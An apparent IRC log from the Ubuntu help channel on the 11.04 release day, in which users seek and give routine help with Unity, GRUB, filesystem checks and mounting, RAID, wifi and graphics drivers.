[01:11] <escott> KNUBBIG, depends on what kinds of mods you made
[01:11] <alien-007> i cant format neither
[01:11] <nowherefast> ohsix:no
[01:11] <shmoolikipod> how the hell do I set my old desktop back
[01:11] <nowherefast> ohsix: i forget the name but its 10.10
[01:11] <WhiteD> I have a moderate problem with a network upgrade from 10.10 to 11.04
[01:11] <shmoolikipod> Ubuntu 11.04 GUI sucks!
[01:11] <KNUBBIG> escott: colour + background changes, but other configs eg samba are somewhat more modified
[01:11] <ohsix> nowherefast: what problems are you having with the "current" drivers
[01:11] <ohsix> shmoolikipod: #ubuntu-offtopic
[01:12] <nowherefast> ohsix: i can view networks but i cannot connect to them
[01:12] <ohsix> shmoolikipod: this is a help channel
[01:12] <escott> KNUBBIG, i would just diff the two and take the parts you want
[01:12] <KNUBBIG> escott: okay, thanks
[01:12] <lcb> mordof, yes because you are having problems accessing the system. with a live cd you could access the partitions and backup what's necessary.
[01:12] <[dlp]> entity: You could run fsck on the drive, *DO NOT DO THIS IF THE FS IS MOUNTED READ-WRITE*
[01:12] <nowherefast> ohsix:i was able to connect one time, but it dropped
[01:12] <thebigroflz> ohsic, it worked!
[01:12] <escott> KNUBBIG, i think the biggest difference is that you can say sda instead of hd0
[01:12] <ozzloy> http://www.artima.com/shop/programming_in_scala_2ed anyone know if the ebook pdf from here is readable in linux?
[01:12] <alien-007> How can i know a disk filesystem ?
[01:12] <nowherefast> ohsix: i am not sure what driver i am currently using
[01:12] <ohsix> nowherefast: well it's a very windowsy thing to suggest to remove/reinstall drivers; the often have nothing to do with it
[01:12] <alien-007> im bootin 10.4 LTS live ppc
[01:12] <JaymesKeller> I'm still having trouble trying to access my NTFS raid under 11.04 I have looked at my packages and it seems that dmraid is already there. There are references to the RAID, but nothing useful.
[01:12] <WhiteD> Does anybody know how to force quit an upgrade I can't see?
[01:12] <entity> [dlp]: I'm not gonna risk it, I'm just gonna do clean install.
[01:12] <KNUBBIG> escott: okay, thank you
[01:12] <lcb> KNUBBIG, don't play with grub while upgrading... go to sleep :p
[01:13] <shmoolikipod> ohsix, so no one can help with the manus ? to get the old gnome look back ?
[01:13] <ohsix> WhiteD: never force anything you don't know how to fix manually
[01:13] <bastidrazor> alien-007: sudo fdisk -l
[01:13] <KNUBBIG> lcb: :D and then I'll wake up and my grub is destroyed *fears* :D
[01:13] <ohsix> shmoolikipod: pick the classic session on the login screen
[01:13] <acicula> shmoolikipod: you can select the ubuntu classic environment at the login prompt
[01:13] <lcb> lol, no
[01:13] <nowherefast> ohsix: ive exhausted all other options
[01:13] <shmoolikipod> ohsix, thanks :)
[01:13] <alien-007> bastidrazor: thanks
[01:13] <acicula> shmoolikipod: that should give you the old look
[01:13] <bastidrazor> alien-007: you're welcome.
[01:13] <WhiteD> ohsix: Yeah, well my upgrade to 10.10 stopped last night at 74% because my HDD spun down on my netbook. I can't do anything right now upgrade wise.
[01:13] <[dlp]> entity: If you've got a backup the risk is limited.
[01:13] <ohsix> JaymesKeller: if you scan manually with dmraid does it find the volumes?
[01:14] <nowherefast> ohsix: any ideas that are more linuxy? love to hear them : )
[01:14] <mordof> argh.. now i can't access my 1TB drive for some reason :\
[01:14] <[dlp]> entity: And if you don't then a clean install is riskier.
[01:14] <JaymesKeller> ohsix: How do you do that?
[01:14] <ohsix> WhiteD: why would that stop it, is it defective?
[01:14] <lcb> KNUBBIG, SHIFT before loading ubuntu and just hit 'update grub' on the recovery menu, just in case
[01:14] <KNUBBIG> lcb: thanks a lot
[01:14] <lcb> KNUBBIG, but don't worry about that now.
[01:14] <ohsix> JaymesKeller: "man dmraid" or dmraid --help in a terminal
[01:15] <alien-007> stefg: it says /dev/hdc1  Apple partition map Apple
[01:15] <WhiteD> ohsix: I have no idea. I waited 10 minutes for it to continue with installation, and I didn't see a thing move. Any suggestions? I've tried to upgrade to 11.04 but I can't because it says it is still running, which it is not.
[01:15] <entity> [dlp]: how so? If I wipe the partiton clean (because I backed up my stuff before even doing this) and then clean install on the partition...?
[01:15] <ohsix> nowherefast: well, remove all the changes you made trying to solve the problem for one
[01:15] <shmoolikipod> ohsix, I don't have an option to change the session type ...
[01:15] <JaymesKeller> ohsix: dmraid seems to be for software RAIDs, I have a hardware one.
[01:15] <KNUBBIG> lcb: I don't worry that much I think, it should all go well (says the optimist)
[01:15] <stefg> alien-007: so it's likely a hfs+ partition...
[01:15] <Ziber> My built in mic isnt working with ubuntu. Any ideas?
[01:15] <alien-007> can i format a disk on terminal
[01:15] <mordof> stefg: so what were you saying before? i have access to the filesystem
[01:15] <lcb> KNUBBIG, hehehe
[01:15] <[dlp]> entity: Then breaking your filesystem with a bad fsck is worth trying.
[01:15] <shmoolikipod> all I want is to get the old menus look and remove the side bar
[01:15] <escott> JaymesKeller, have you loaded the correct modules for your raid controller
[01:15] <usr13> alien-007: sudo
[01:15] <mordof> ugh this is annoying
[01:16] <ohsix> JaymesKeller: what controller?
[01:16] <alien-007> stefg: yes it says that
[01:16] <[dlp]> Because it won't take as long as a fresh install.
[01:16] <usr13> alien-007: Yes
[01:16] <nowherefast> ohsix: thats already done
[01:16] <ohsix> shmoolikipod: click on your name first, it's at the bottom
[01:16] <JaymesKeller> ohsix:  It is an nvidia raid controller.
[01:16] <[dlp]> entity: And the chances are it won't break your filesystem.
[01:16] <entity> [dlp]: okay so my computer is off. I'm gonna turn it on, it produces that error, I press M, then what?
[01:16] <ohsix> JaymesKeller: then it is not hardware
[01:16] <usr13> alien-007: mkfs
[01:16] <ohsix> nowherefast: how sure are you that it is?
[01:16] <shmoolikipod> ohsix, when I click on my name I get loged in automatically
[01:16] <shmoolikipod> :(
[01:17] <WhiteD> ohsix: I'd prefer not to do a clean install if that is what you are thinking. I don't have anything to back up my data with.
[01:17] <mordof> lcb: my 1TB drive is only accessible from user 1000 - i don't really want to change the permissions, otherwise it'll mess it up for my mount point once grub is fixed. can i temporarily get access to it somehow?
[01:17] <[dlp]> entity: cat /proc/mounts
[01:17] <Ziber> My built in mic isnt working with ubuntu. Any ideas?
[01:17] <stefg> alien-007:sudo mkdir /media/foo; sudo mount -t hfsplus /dev/foo /media/foo
[01:17] <entity> [dlp]: ok now what
[01:17] <escott> mordof, su to user with uid 1000
[01:17] <nowherefast> ohsix: i am not but all files that were edited were changed and i think reboot will change the modprobes
[01:17] <KNUBBIG> !lts
[01:17] <ubottu> LTS means Long Term Support. LTS versions of Ubuntu will be supported for 3 years on the desktop, and 5 years on the server. The current LTS version of Ubuntu is !Lucid (Lucid Lynx 10.04)
[01:17] <mordof> escott: ok
[01:17] <escott> mordof, or root
[01:17] <KNUBBIG> ah fine
[01:17] <lcb> mordof, a hint... the directories i told you, select Compress from nautilus. it would be easier that way to backup.
[01:17] <mlaci> hi guys! does the official natty installer supports full disk encryption or should i use the alternate installer image?
[01:17] <JaymesKeller> ohsix:  I thought it was hardware-based. Not sure why it would be software based, but still, dmraid finds them. So the next step is to get it mounted.
[01:18] <mordof> lcb: i don't need to worry about that, i just want to get access to my other hard drive
[01:18] <[dlp]> entity: then fsck /dev/device-by-uuid/...
[01:18] <escott> mordof, 1000 is by default the first non-root user on the system
[01:18] <ohsix> WhiteD: there are logs generated during the install, you could look at those
[01:18] <lcb> mordof, after repairing or anytime?
[01:18] <WhiteD> ohsix: Ok, how do I do that?
[01:18] <[dlp]> entity: I am assuming the fs is mounted read-only. It's very important that it is.
[01:18] <ohsix> WhiteD: open a terminal then look in /var/log/dist-upgrade/
[01:18] <escott> JaymesKeller, its "soft-raid" you can read lots of cursing about that online
[01:19] <ohsix> WhiteD: err nevermind that
[01:19] <mordof> lcb: my /home is on a seperate partition to begin with, and i can move /usr and /etc to different partitions as well
[01:19] <mordof> lcb: i'll do that after this is repaired
[01:19] <WhiteD> ohsix: o_O uhhh ok? ha
[01:19] <stefg> mordof: if you can mount the file system you can chroot to it. this makes it possible to reinstall grub from within the chroot'ed system
[01:19] <nowherefast> ohsix: from what i have read besides driver issue it could be a bluetooth issue (solved using rfkill) application issue (wicd vs network manager) or id issue (not displaying in iwconfig) and its not so i must assume its a driver or driver conflict
[01:19] <ohsix> WhiteD: for installs theres a different location & i don't remember it offhand
[01:19] <lcb> mordof, oh, ok then
[01:19] <kavurt> i have beta2 installed. but today, i have no updates. what might be wrong. i tried a couple different mirrors. all are the same.
[01:19] <entity> [dlp]: what are the dots oh and it IS IN READ-WRITE
[01:19] <stefg> mordof: you should read dmesg
[01:19] <ohsix> nowherefast: well trying wicd instead of networkmanager doesn't tell you anything
[01:20] <mordof> stefg: ah, right.. 20 mins until my live 11.04 is done since it seems 10.10 is kinda risky
[01:20] <Falcorian> I've got a quick question about the installer for 11.04, 64bit, off of a live USB. The partition editor doesn't seem to be able to set user specified mount points. Am I missing something or was this feature removed?
[01:20] <[dlp]> Are you sure?
[01:20] <escott> !final | kavurt its been pretty quiet on release day
[01:20] <ubottu> kavurt its been pretty quiet on release day: If you install a development version of Ubuntu Natty and keep up with package updates, then you will be upgraded to the official release of 11.04 when it comes out. To make sure, type « sudo apt-get update && sudo apt-get dist-upgrade » in a console.
[01:20] <[dlp]> entity: ^^^
[01:20] <ohsix> nowherefast: wicd gets less eyes, i trust it a lot less than n-m
[01:20] <entity> [dlp]: not to worry, I have not executed any commands besides cat
[01:20] <Ziber> What packages might I need to install to get a built in mic working?
[01:20] <ohsix> nowherefast: try and connect with n-m, then grep -i networkman /var/log/syslog
[01:20] <cmykify> system monitor says my CPU(s) are running at 100% after i install 11.04, but the processes show 4-10% load. What's using up the rest?
[01:21] <escott> Ziber, its part of alsa
[01:21] <[dlp]> entity: fsck will print a big fat warning anyway
[01:21] <escott> Ziber, is this the same problem from 2 days ago?
[01:21] <ohsix> nowherefast: it's very noisy about what it does, if you can't figure it out paste the output to a pastebin
[01:21] <entity> so how do I mount in readonly
[01:21] <mordof> stefg: and what would i be looking for in there?
[01:21] <JaymesKeller> I hope I'm on the right track here. I have found that mdarray knows that my RAID exists, but now I want to mount it. Would mdadm be needed? Or something else?
[01:21] <[dlp]> entity: If you just rebooted, you should be read only already.
[01:21] <ohsix> cmykify: try running something like htop in a terminal, it shows more information
[01:22] <bikcmp> are ubuntu's servers going unusually slow today?
[01:22] <entity> [dlp]: I just tried to nano a txt file and it didnt warn me about no write privs
[01:22] <alien-007> stefg: sudo mkdir /media/foo; sudo mount -t hfsplus /dev/foo /media/foo worked for me,,thanks a lot buddy ;)
[01:22] <usr13> bikcmp: Yes
[01:22] <WhiteD> Does anybody know where to check the upgrade logs? not finding anything on google.
[01:22] <Pici> bikcmp: not unusual for a release day.
[01:22] <[dlp]> entity: What did the cat say?
[01:22] <bikcmp> usr13: ideas why? my mirror seemed to crawl
[01:22] <bikcmp> Pici: release day?
[01:22] <[dlp]> entity: And what error did you get this time?
[01:22] <nowherefast> ohsix: thanks, the meat and potatos seem to be associating -> disconnected
[01:22] <entity> [dlp]: oh just kidding i'm in readonly
[01:22] <escott> JaymesKeller, is mdarray part of mdadm or dmraid (they are different)
[01:22] <usr13> bikcmp: 11.04 came out today.
[01:22] <bikcmp> oh.
[01:22] <erik333> hm... this new gnome thing... how do you move the panels or config anything? None of the shortcuts include gnome configuration utilities XD
[01:22] <Pici> bikcmp: 11.04 was relased today. Or yesterday depending on your timezone
[01:22] <bikcmp> figures :P
[01:23] <nastjuid> bikcmp: you could find a closer/faster mirror
[01:23] <nowherefast> ohsix: it gives the reason as 0
[01:23] <entity> [dlp]: the cat said meow. no seriously, it looks the same as last time
[01:23] <escott> erik333, in unity you don't thats the whole idea :)
[01:23] <stefg> mordof: often there's hints in this why you can't access a filesystem
[01:23] <mordof> i guess i'll just wait for any more questions until i get on the 11.04 live cd
[01:23] <mordof> stefg: everything mounts fine, i can access the file systems
[01:23] <FloatingGoat> what is the unity project called?
[01:23] <ohsix> nowherefast: indeed, you know those cards have problems with wmm/qos/power saving and some other things, do you have them enabled on your router?
[01:23] <mordof> stefg: this is a grub problem..
[01:23] <erik333> so this is a good time to switch to a tiling wm then i guess
[01:23] <JaymesKeller> escott: I meant dmarray. It has found my RAID, so 11.04 knows it exists.
[01:23] <ohsix> FloatingGoat: ayatana?
[01:23] <mordof> stefg: a grub configuration problem at that, because grub is still accessible
[01:23] <JaymesKeller> escott: Now I need to know how to get it mounted.
[01:23] <Falcorian> Answering my own question: https://bugs.launchpad.net/ubuntu/+source/ubiquity/+bug/769043 Known bug :-/
[01:23] <ubottu> Ubuntu bug 769043 in ubiquity (Ubuntu) "Cannot manually specify a mount point in the manual partitoner" [High,Fix committed]
[01:24] <[dlp]> entity: Can you paste the line with /dev/disk/by-uuid on it?
[01:24] <chotaz> Ew. first impression of Unity, it sucks :\ How can I completly remove it?
[01:24] <stefg> mordof: is your installed system mounted now?
[01:24] <escott> JaymesKeller, dmarray would be part of dmraid not mdadm. i'm not familiar with device-mapper
[01:24] <erik333> was using awesome + gnome panel now to ease the transition, but that stopped working after upgrade
[01:24] <nowherefast> ohsix: do i have power saving enabled on my router? i don't think so
[01:24] <ohsix> chotaz: use the classic desktop session, pick it on the login screen
[01:24] <cmykify> ohsix: kthnx back in a  minute
[01:24] <nowherefast> ohsix: yeah it looks like it gets to stage 3 of 5 then disconnects
[01:24] <chotaz> ohsix: no way to uninstall it and have my comp running just like before the update?
[01:25] <mordof> stefg: yes
[01:25] <ohsix> nowherefast: post the output to a pastebin please
[01:25] <FloatingGoat> is there a command to open the dash in unity 2D?
[01:25] <mordof> stefg: both my /home and my / are mounted at the moment
[01:25] <WhiteD> ohsix: this is what keeps popping up: Cannot get the exclusive lock on the packaging backend.
[01:25] <WhiteD> Please close any other legacy packaging tools that may be open.
[01:25] <JaymesKeller> escott: dmraid knows it's there. What command do I use to mount the array?
[01:25] <entity> [dlp]: /dev/disk/by-uuid/87d334b4-9a16-4621-967a-5f74491dd9e4 / ext4 ro,relatime,barrier=1,data=ordered 0 0
[01:25] <stefg> mordof: so where is it mounted ( ls /media )
[01:25] <ohsix> chotaz: not if you installed it, theres a lot more than unity in play, just use the classic session
[01:25] <escott> JaymesKeller, see man dmarray i don't know it
[01:25] <entity> lol I will have my UUIDs memorized after tonight... :\
[01:25] <[dlp]> entity: It's read only, you can fsck it.
[01:26] <ohsix> WhiteD: are you running apt-get or synaptic, or aptitude or anything at the same time?
[01:26] <entity> okay
[01:26] <WhiteD> I doubt it. Not to my knowledge.
[01:26] <[dlp]> entity: fsck might still complain it's mounted, but just ignore it.
[01:26] <mordof> stefg: it is under /media/166 GB Filesystem
[01:26] <entity> [dlp]: what's the whole fsck command
[01:26] <chotaz> ohsix:  I never had the chance to choose not to install it
[01:26] <ohsix> entity: mount understands UUID=<uuid> for the volume name, no need to use that path
[01:26] <WhiteD> ohsix: Sorry; ha not to my knowledge
[01:26] <[dlp]> fsck /dev/disk/by-uuid/87d334b4-9a16-4621-967a-5f74491dd9e4
[01:26] <escott> JaymesKeller, and if it follows standard terminology you would assemble it and then mount a device /dev/dmarray1 or some such
[01:26] <tamer> nowherefast, worked, thanks! What's the problem with nm-applet anyways, any ideas?
[01:27] <ohsix> WhiteD: ok 1 sec, theres a quick way to check
[01:27] <TerryBook> can anyone tell me how to get growl notifications in natty?
[01:27] <nowherefast> ohsix: the contents can be found in the final reply in my thread http://ubuntuforums.org/showthread.php?p=10734573#post10734573
[01:27] <WhiteD> ohsix: this is what I meant by forcing them to quit...
[01:27] <nowherefast> tamer: glad it worked, couldn't tell you honestly why it works : P
[01:27] <stefg> mordof: get a terminal and type 'ls /media'. i think the real mountpoint is some lenghty number dir in /media
[01:28] <ohsix> WhiteD: fuser -v /var/lib/dpkg/lock
[01:28] <mordof> stefg: as always, that's the uuid of the drive
[01:28] <Soothsayer> I did a sharink on two separate drives to make space fo Ubuntu..but the two Unallocated spaces are not contiguous, how do I achieve that ?
[01:28] <Soothsayer> shrink*
[01:28] <mordof> stefg: /media/3d8dc5b8-b2d8-4172-ac62-7b27f327cb45
[01:28] <cmykify> ohsix: htop says the same. I add up all active processes and it's 13% cpu load. Htop says 100% on both cores, also. ??
[01:28] <ohsix> nowherefast: as a rule i don't trouble myself with forums, but i'll make an exception this time; please use paste.ubuntu.com in the future
[01:28] <stefg> mordof: so cd to that dir
[01:28] <WhiteD> ohsix: that did nothing.
[01:29] <JaymesKeller> Okay, does anyone know how to assemble and mount the software RAID array I have?
[01:29] <ohsix> cmykify: it says at the top where its's being used
[01:29] <conical> easy question: I
[01:29] <Pici> conical: Wow, that is easy.
[01:29] <conical> I'm ssh -x ing into my ubuntu box
[01:29] <lcb> conical, and short
[01:29] <ohsix> cmykify: be sure to run it w/ "sudo htop" as by default it only shows your usere & no kernel threads
[01:29] <cmykify> ohsix: yeah, top process is Compiz at 7%
[01:29] <conical> but can't open folders that requre root access
[01:29] <[dlp]> entity: What happened?
[01:29] <chotaz> ohsix:  the only thing i can choose at the login is the user, nothing to choose unity or not is here. help?
[01:29] <conical> normally i'd be prompted to enter my password
[01:30] <erik333> so, are there any advantages to the unity dektop thing? I'm trying really hard to think of one. It's like it was meant for tablet PC:s
[01:30] <cmykify> ok i'll go sudo 1 sec
[01:30] <mordof> stefg: ah, can't - no root perms
[01:30] <hiexpo> hola Pici
[01:30] <Pici> hiexpo: howdy
[01:30] <ohsix> chotaz: choose the user, then look at the bottom
[01:30] <mordof> stefg: need to root into it, but i don't remember how :\
[01:30] <sebsebseb> erik333: well yeah it was made for netbooks only to begin with
[01:30] <escott> conical, you have put sudo in front of the command
[01:30] <ohsix> erik333: and netbooks, they outsell notebooks, and notebooks desktops
[01:30] <entity> [dlp]: fsck from util-linux-ng 2.17.2 e2fsck 1.41.12 (17-May-2010) /dev/sda2: clean, 449495/1525920 files 5429183 blocks (check after next mount)
[01:30] <conical> yes, I know that, but it's in a shell
[01:30] <conical> i mean
[01:30] <conical> it's in the gui
[01:30] <mordof> stefg: ah, got it
[01:30] <ohsix> WhiteD: ok then that message is wrong or not the real error
[01:30] <conical> so a better question
[01:30] <escott> conical, then gksudo
[01:31] <mordof> stefg: i'm rooted into it
[01:31] <cmykify> ohsix: Still just compiz at 7% in htop (sudo)
[01:31] <[dlp]> entity: Then it should have mounted in the first place.
[01:31] <entity> [dlp]: but it's not.
[01:31] <stefg> mordof: when you are at the root of the installed system you need to bind-mount /proc /sys and /dev, and then chroot into it
[01:31] <Pici> conical: I find it useful if I need to use ssh -x to have it open a terminal (gnome-terminal maybe) first, and then run any other application I need from there.
[01:31] <Soothsayer> I did a shrink on two separate drives to make space fo Ubuntu..but the two Unallocated spaces are not contiguous, how do I achieve that ?
[01:31] <WhiteD> ohsix: hang on think I found an answer. http://bit.ly/imR2UK
[01:31] <ohsix> cmykify: the cpu usage bar at the top is one solid color?
[01:32] <mordof> stefg: ah, yeah - i found that in a post here to repair it
[01:32] <stefg> mordof: if you did not -bind-mount /dev it's useless
[01:32] <conical> okay, is there a way to enable the gnome session to view the locked drives?
[01:32] <Blue1> !md5sum
[01:32] <ubottu> To verify your Ubuntu ISO image (or other files for which an MD5 checksum is provided), see http://help.ubuntu.com/community/HowToMD5SUM or http://www.linuxquestions.org/linux/answers/LQ_ISO/Checking_the_md5sum_in_Windows
[01:32] <conical> mount?
[01:32] <mordof> stefg: will this process work if i'm in 10.10 live?
[01:32] <Spaz_Dynamic> !ati
[01:32] <ubottu> For Ati/NVidia/Matrox video cards, see https://help.ubuntu.com/community/VideoDriverHowto
[01:32] <Blue1> useless
[01:32] <ohsix> WhiteD: that is very old information, even if it was correct at the time, be careful
[01:32] <eigba> I think I like unity, how is everyone else taking it?
[01:32] <mordof> stefg: i'm worried it'll just revert grub to it's older version
[01:32] <nowherefast> ohsix: do you think installing a new driver would solve the problem?
[01:32] <Spaz_Dynamic> there we go, forgot where it was. thanks ubottu
[01:33] <ohsix> nowherefast: you haven't identified a problem yet, just a symptom
[01:33] <asteriskmonkey1> how the heck do you get rid of the anoying left nave bar in unbuntu 11
[01:33] <erik333> aha! the shutoff buttton had a link to the config center... maybe there is hope for gnome yet - they knew exactly where people would look first when they started unity
[01:33] <Quasi_> hello I just installed 11.04 but my nvidia drivers is "currently not in used". I did reboot in a recovery console, purge nvidia-common and reinstall it but it still doesn't work. Any idea ?
[01:33] <kaiyin> what is the best gui backup tool for ubuntu?
[01:33] <nowherefast> ohsix: the problem is i cannot connect to any wifi networks
[01:33] <escott> conical, add them to /etc/fstab
[01:33] <WhiteD> ohsix: is there a Kubuntu sub channel or other channel?
[01:33] <cmykify> ohsix: yes, solid white/teal, why?
[01:33] <Pici> WhiteD: #kubuntu :)
[01:33] <eigba> erik333, I take it your not liking unity?
[01:33] <escott> conical, otherwise you have to get a daemon like gnome-disk-utility to handle hotplug events
[01:33] <KNUBBIG> !kubuntu | WhiteD
[01:33] <ubottu> WhiteD: kubuntu is Ubuntu with the KDE Software Compilation instead of !Gnome. See http://kubuntu.org for more information - For support join #kubuntu - See also !kde
[01:34] <WhiteD> Pici: Shanks!
[01:34] <sebsebseb> Quasi_: ok yeah, and does Unity freeze on you as well?
[01:34] <ohsix> cmykify: because it shows 4 types of information, irqs and stuff
[01:34] <WhiteD> #kubuntu
[01:34] <entity> [dlp]: yeah it's giving me the original error with / not being ready or present. I really think I'm just gonna clean install
[01:34] <ohsix> WhiteD: good luck with kde guys D:
[01:34] <Quasi_> sebsebseb  not for the moment, but the fan is running at top speed all the time
[01:34] <[dlp]> entity: Fair enough.
[01:34] <WhiteD> ohsix: thanks, will try
[01:34] <ohsix> nowherefast: have you tried the backports?
[01:34] <Blue1> is this the correct page for the md5sums?  http://cdimage.ubuntu.com/dvd/current/MD5SUMS
[01:35] <nmaxchat> to connect Laserjet1018 to PC via Linksys+WUSB11+Wireless‑B ?
[01:35] <sebsebseb> Quasi_: than fan issue is probably something else, hardware issue or whatever
[01:35] <stefg> mmiller235: in case you are still interested... i've build and exported a natty appliance which works on my box... you can d/l that at http://ubuntuone.com/p/pEp/
[01:35] <[dlp]> entity: I'm defeated.
[01:35] <gksmithlcw> I'm running Ubuntu Server 10.04, trying to install ffmpeg. I'm having nothing but problems. Currently, I'm trying to install nasm through apt and it's telling me it's not available.
[01:35] <gksmithlcw> Any ideas?
[01:35] <nowherefast> ohsix: are you talking about sudo apt-get install linux-backports?
[01:35] <entity> [dlp]: thank you very much for your time and help no matter. :D
[01:35] <nowherefast> ohsix: if so no
[01:35] <sebsebseb> Quasi_: altough I guess a quick test, could be to log out now,  get the log in screen, open up Ubuntu Classic Desktop, and see if the fan is ok then
[01:35] <fuzzybunny69y> hey everyone! How do you upgrade from the 11.04 alpha/beta releases to the final release?
[01:35] <ohsix> nowherefast: well with the proper package name, but yes
[01:35] <Quasi_> sebsebseb I think because the lack of the driver the cpu is more used, so the fan speeds up
[01:35] <sebsebseb> !upgrade | fuzzybunny69y
[01:35] <ubottu> fuzzybunny69y: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[01:36] <ohsix> nowherefast: are you sure it's any wifi and not one particular router?
[01:36] <sebsebseb> Quasi_:  and what card you got?
[01:36] <sebsebseb> graphics
[01:36] <erik333> @eigba Not a lot, soz. Panels i can't move, huge icon shortcuts and no menu :( and the run command thingy covers 25% of the screen - a bit overkill on 27" screen XD
[01:36] <ceed^> Hi, when I log (natty) there's no Skype notification icon, only an open space where it should have been. If I kill Skype and open it again the notification icon appears. Any idea why it's not there when I log in?
[01:36] <Quasi_> sebsebseb nvidia 8600 gts
[01:36] <ohsix> erik333: there is no panel in unity
[01:36] <cmykify> ohsix: I don't know what that is. The color should tell me something?
[01:36] <sebsebseb> Quasi_: ok and so the propritary driver it says isn't installed?  or it is installed, but not activated?
[01:36] <Quasi_> sebsebseb installed but not activated
[01:36] <nmaxchat> How  to connect Laserjet1018 to PC via Linksys+WUSB11+Wireless‑B ? I saw something about a prism driver but how do I get it ?
[01:36] <nowherefast> ohsix: i have tried with 3 networks on 3 diff routers and my eee has the same problem on 10.10
[01:37] <ohsix> cmykify: it is not displaying as i expected, if it were it would show whats doing it
[01:37] <sebsebseb> Quasi_: yeah I had this kind of stuff with beta 2, but
[01:37] <Seedymac> Hi guys, is aptitude deprecated?
[01:37] <sebsebseb> Quasi_: in my case Unity would freeze if the propritary driver was used, but if I removed the propritary driver and installed the experimental 3D driver, Unity would work
[01:37] <ohsix> nowherefast: but your eee doesn't have an intel wifi chip, theres another problem
[01:37] <cmykify> ohsix: ok, any other utils or info dumps I can do to figure it out?
[01:37] <erik333> ohsix: well there are some panel-like grey strips where panels normally might be... and they hold volume controls and clocks
[01:37] <sebsebseb> Quasi_: so if you try the experimental 3D driver, things may work better for you
[01:38] <ohsix> erik333: yea, it's only superficially similar
[01:38] <nowherefast> ohsix: definately other problem
[01:38] <sebsebseb> !pm > Quasi_
[01:38] <ubottu> Quasi_, please see my private message
[01:38] <ohsix> nowherefast: so changing your drivers would do what exactly?
[01:38] <stefg> Actually that might be useful for anyone running virtualbox: Premade natty appliance (with 3D and unity)  at http://ubuntuone.com/p/pEp/
[01:39] <ceed^> If anyone have ugly boot after installing the non-free nvidia driver install startupmanager and set your resolution and color depth. after that it looks good.
[01:39] <nowherefast> ohsix: ive read different drivers are different quality with many wifi cards in ubuntu
[01:39] <Quasi_> sebsebseb  how can I install it (I'm a noob sorry)
[01:39] <ohsix> nowherefast: things to check: if its wireless g/n, make sure b interop is on even if you're not using b, disable wmm, disable wireless power savings
[01:39] <asteriskmonkey1> can i get my old gnome back im hating ubuntu 11.04
[01:39] <fuzzybunny69y> Hey guys I am trying to  upgrade from Ubuntu 11.04 Alpha/Beta to the final and it keeps saying "Not all updates can be installed" and to run a partial upgrade. Should I do this or is there some other way to make sure I upgrade to the final release.
[01:39] <nowherefast> ohsix: for example the highly variable outcomes of madwifi vs ath9k vs ndis + windows in transfer speeds, etc
[01:39] <ohsix> nowherefast: there aren't different drivers practically speaking, there is one, and less good options, like madwifi, vendor drivers or ndiswrapper
[01:40] <nowherefast> ohsix: how do i disable power saving?
[01:40] <ceed^> asteriskmonkey1, log into ubuntu classic instead. that's the old gnome deskto
[01:40] <ohsix> nowherefast: separate concern, and the mainline one will be fixed some day
[01:40] <Quasi_> sebsebseb where can I get the experimental driver and how to install it ?
[01:40] <ceed^> *desktop
[01:40] <sebsebseb> Quasi_: I assume this is the same Beta 2 and the final, so  going by what I ddi with Beta 2.  got to remove the propritary driver,  in additional drivers yeah,  and then after you done that may have to re boot the computer first, but should then have an option for an experimental 3D driver showing that you can then install
[01:40] <asteriskmonkey1> ceed how do i do that?
[01:40] <ohsix> nowherefast: you need to open your routers management pages, it has loads of options
[01:41] <Quasi_> sebsebseb thanks a lot for your help, will try that
[01:41] <sebsebseb> Quasi_: and hold on
[01:41] <nowherefast> ohsix: ah... yeah, disabled
[01:41] <ceed^> asteriskmonkey1, log out, click on your name in gdm, then select classic from the meny on the bottom of the screen
[01:41] <sebsebseb> Quasi_: and if you do this, and for some odd reason, you find that Unity is completly broken
[01:41] <asteriskmonkey1> ceed thanks
[01:41] <sebsebseb> Quasi_: log into Ubuntu Classic Mode (no effects)  and install the propritary driver again I guess
[01:41] <sebsebseb> Quasi_: from the log in screen
[01:41] <eigba> asteriskmonkey1, I wish they would of went with gnome3
[01:42] <asteriskmonkey1> eigba ,the more i read about the side bar i see that alot..
[01:42] <Quasi_> sebsebseb ok will do that. Last question : I have 2 Nvidia drivers (173 & current) Should I uninstall both ?
[01:42] <ceed^> asteriskmonkey1, I also hated Unity initially. you should give it a chance at some point. it's pretty functional although a bit more limited than good 'ol gnome right now.
[01:42] <sebsebseb> Quasi_: Unity didn't brake when I did what I am saying, it got it working for me, but something different may happen for you
[01:42] <asteriskmonkey1> if i wanted a mac id buy one
[01:42] <dust--> natty is out - is there a reason to not upgrade? how is unity doing? is it playing nicely?
[01:42] <sebsebseb> asteriskmonkey1: http://askubuntu.com/questions/22946/how-do-i-install-the-latest-version-of-gnome-3
[01:42] <ThomasUK> dust-- seems variable
[01:43] <asteriskmonkey1> ceed i see how it could be good for a tabled or something but i do way to many things at once for this gui :P
[01:43] <soreau> Man this sucks. Bug #1: Can't enter a custom mount point after selecting Edit for an existing partition from the live 11.04 desktop cd installer
[01:43] <sebsebseb> !gnome3 | asteriskmonkey1
[01:43] <ubottu> asteriskmonkey1: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[01:43] <ceed^> dust--, Unity has played nice here the last couple of weeks. I like it
[01:43] <sebsebseb> http://askubuntu.com/questions/22946/how-do-i-install-the-latest-version-of-gnome-3 :)
[01:43] <jmwpc> I'm currently upgrading my laptop from 10.04 -> 11.04 using the CD. It's been stuck on 'Restoring previously installed packages...' for about an hour with no progress. I didn't really have all that many additional packages beyond the base OS installed. What's my next move?
[01:44] <shane4ubuntu> ok, I take it that this http://askubuntu.com/questions/30742/how-do-i-access-the-system-tray   is no longer correct?
[01:44] <dust--> is unity working fine in vmware workstation?
[01:44] <ceed^> asteriskmonkey1, I multitask quite heavily myself, but I've always liked out of the way desktop environments, and Unity seems to be one of those :)
[01:44] <dust--> i heard it needs 3d acceleration
[01:44] <shane4ubuntu> Also, I really miss my bottom panel that had all my open apps on it, how do I do that in unity?
[01:44] <jdahm> can I get focus follows mouse in unity?
[01:45] <Quasi_> shane4ubuntu you can try avant window navigator
[01:45] <sgaap> or check out cairo dock
[01:45] <ceed^> shane4ubuntu, no taskbar in Unity. You need to use the laucher or Alt-Tab. That's kinds Mac-ish, but works :)
[01:45] <kaiyin> Will ppa sources conflict with system upgrade?
[01:45] <shane4ubuntu> ceed^:  You mean I have to take my hand off my mouse???
